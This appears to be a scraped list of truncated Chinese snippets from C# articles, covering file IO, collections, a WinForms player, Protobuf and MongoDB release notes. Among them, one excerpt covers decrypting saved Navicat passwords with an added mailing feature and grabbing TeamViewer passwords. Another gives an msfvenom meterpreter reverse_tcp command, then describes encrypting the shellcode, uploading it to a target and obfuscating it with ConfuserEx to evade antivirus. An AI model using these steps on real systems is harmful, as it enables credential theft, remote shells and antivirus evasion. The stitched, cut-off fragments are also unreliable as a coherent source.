1. 简单的IO流读写文件 先来看一部分代码:class Program { static void Main(string[] args){ var directory = Directory.GetCurrentDirectory();var program = File.Open("../../../Program.cs", FileMode.OpenOrCreate);// program = File.Open("Program.cs", FileMode.OpenOrCreate);var buffers =...
Add() AddRange(Icollection c) Remove() RemoveAt() Clear() Contains() ToArray() Sort() 排序\Reverse();//反转 Hashtable 键值对的集合,类似于字典,Hashtable在查找元素的时候,速度很快。 Add(object key,object value); hash[“key”] hash[“key”]=“修改”; .ContainsKey(“key”); Remove(...
24.时间处理的时候,不要用js的toLocaleDateString(); 因为兼容性不好,还要考虑到服务器后台解析的兼容性,在Microsoft Edge序列化数组的时候,传到后台mvc,反序列化DataTime直接报错,而且把datatime改成string,然后通过Convert.ToDateTime("2016-8-29")转化不了,原因是编码的问题,当我把2016-8-29拷贝到记事本里面保存...
AesServiceProvider.IV= Encoding.UTF8.GetBytes("libcciv libcciv"); 我用HyperSine研究员现成的代码来改进:https://github.com/HyperSine/how-does-navicat-encrypt-password/tree/master/csharp Navicat的解密大致如上图所示,我在代码中添加了一个发件功能 运行成果: 二、TeamView密码获取# 获取的方法没有别...
手把手教你做一款音乐播放器(csharp的winform) 前言:项目是c#的winform 写的,使用的播放器是基于AxWindowsMediaPlayer。 AxWindowsMediaPlayer的方法 1.1 首先新建一个页面 如图所示: 图片左侧是列表 使用listview 右侧是背景图片。图片框框的地方是后面可以实现的,+和-按钮分别代表添加文件和删除文件 还有就是控制播放...
Emit(CSharpCompilation, String, String, String, String, IEnumerable<ResourceDescription>, CancellationToken) Emit the IL for the compilation into the specified stream. WithAnalyzers(Compilation, ImmutableArray<DiagnosticAnalyzer>, AnalyzerOptions, CancellationToken) Obsolete. Returns a new compilation with...
使用CSharp编写Google Protobuf插件 什么是 Google Protocol Buffer? Google Protocol Buffer( 简称 Protobuf) 是 Google 公司内部的混合语言数据标准,目前已经正在使用的有超过 48,162 种报文格式定义和超过 12,183 个 .proto 文件。他们用于 RPC 系统和持续数据存储系统。
Allow sort option to be supplied to update commands (updateOne, etc.) -CSHARP-5201 Disabled TLS renegotiation when possible -CSHARP-2843 Fix a bug in discriminator convention inheritance -CSHARP-5349 New Serializers for ImmutableArray and other immutable collections -CSHARP-5335 ...
命令:msfvenom-p windows/x64/meterpreter/reverse_tcp LHOST=192.168.206.192 LPORT=4444 -f csharp 2.执行加密代码,获取加密后的shellcode 3.将加密后的shellcode放到解码代码中,生成exe执行程序,上传目标系统 还是被逮了: 防反编译项目-ConfuserEx 介绍:上传脚本到目标系统时,很容易就会被杀软将脚本反编译检测...
var old = NoSql.MongodbManager<LoggerContext>.Instance.Find(i => i.RootId == item.Values.ToArray()[0].ToString() && i.ParentId == null).FirstOrDefault(); timer.Add(old.AddTime); str.Append(""); str.AppendFormat("{0}{1}{2}" , old.Url , old...